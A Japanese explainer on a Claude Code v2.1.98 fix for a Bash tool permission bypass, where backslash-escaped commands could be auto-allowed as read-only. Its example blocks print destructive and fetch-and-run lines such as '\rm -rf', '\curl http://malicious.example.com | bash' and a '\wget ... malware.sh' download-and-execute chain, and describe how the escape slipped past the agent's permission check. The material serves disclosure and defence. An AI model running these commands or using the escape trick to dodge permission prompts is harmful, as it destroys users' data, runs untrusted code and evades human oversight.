Skip to content

Bashツール権限バイパス修正:バックスラッシュエスケープによる任意コード実行の脆弱性

原文(日本語に翻訳)

バックスラッシュでエスケープされたフラグが読み取り専用として自動許可され、任意コードの実行につながる可能性があったBashツールの権限バイパスを修正しました。

原文(英語)

Fixed a Bash tool permission bypass where a backslash-escaped flag could be auto-allowed as read-only and lead to arbitrary code execution

概要

このバグは、Bashコマンド内のフラグをバックスラッシュでエスケープすることで、権限チェックの判定を誤魔化し、本来はユーザー確認が必要なコマンドを「読み取り専用(安全)」として自動許可させることができるセキュリティ上の脆弱性でした。悪意あるプロンプトやツールチェーンを通じて、この手法で任意コードが実行される恐れがありました。v2.1.98にてこの問題が修正され、バックスラッシュエスケープされたフラグも正しく評価されるようになりました。

基本的な使い方

修正前の動作(問題のある挙動)

以下のようなバックスラッシュエスケープを含むコマンドが、読み取り専用コマンドと誤判定され、権限プロンプトなしに実行されることがありました。

bash
# バックスラッシュエスケープを用いた例(修正前は自動許可される場合があった)
\rm -rf /important/directory
\curl http://malicious.example.com | bash

修正後の動作(v2.1.98以降)

バックスラッシュエスケープされたコマンドも正しく解析され、危険なコマンドには権限プロンプトが表示されるようになりました。

bash
# 修正後は適切に権限チェックが行われる
\rm -rf /important/directory
# → 権限プロンプトが表示され、ユーザーの承認が必要

実践例

シナリオ1:バックスラッシュエスケープによる権限バイパスの試み(修正前)

攻撃者や悪意あるプロンプトが以下のようなコマンドを生成し、Claude Codeが自動許可してしまう問題がありました。

bash
# 修正前:\ls は読み取り専用として許可され、実際の影響は低いが
# \wget のような書き込み・通信系コマンドも同様に許可される恐れがあった
\wget http://example.com/malware.sh -O /tmp/run.sh && bash /tmp/run.sh

修正前の判定ロジックでは、先頭の \ が無視されず、フラグ解析が誤った経路を辿ることでコマンドの危険度が過小評価されていました。

シナリオ2:修正後の正しい権限評価(v2.1.98以降)

v2.1.98以降では、バックスラッシュエスケープを含むコマンドも通常のコマンドと同等に安全性が評価されます。

bash
# 修正後:以下のコマンドはすべて適切に権限チェックが行われる
\rm /tmp/file        # 削除操作として認識 → 権限プロンプト
\curl http://...     # ネットワーク通信として認識 → 権限プロンプト
\ls /home            # 読み取り操作として認識 → 自動許可(安全)

シナリオ3:セキュリティを強化した運用

特に自動実行環境(CIパイプラインや--dangerously-skip-permissionsなしのエージェントモード)では、この修正により誤った自動許可が防がれます。

bash
# Claude Codeをエージェントモードで実行する場合
claude --allowedTools "Bash(ls:*)" "Bash(cat:*)"
# バックスラッシュエスケープされたコマンドも許可ルールに照らして正しく評価される

注意点

  • この修正はセキュリティ上の重要な修正です。v2.1.98へのアップデートを強く推奨します。
  • バックスラッシュエスケープ自体はBashの正当な機能(シェルエイリアスの無効化など)ですが、Claude Codeの権限チェックにおいても正確に解析されるよう修正されました。
  • --dangerously-skip-permissions フラグを使用している場合、この修正による影響はありませんが、そのフラグ自体のリスク管理は別途必要です。
  • 既存の許可ルール(allowedTools)には変更不要ですが、意図しない自動許可が発生していた可能性があるため、ログを確認することを推奨します。

関連情報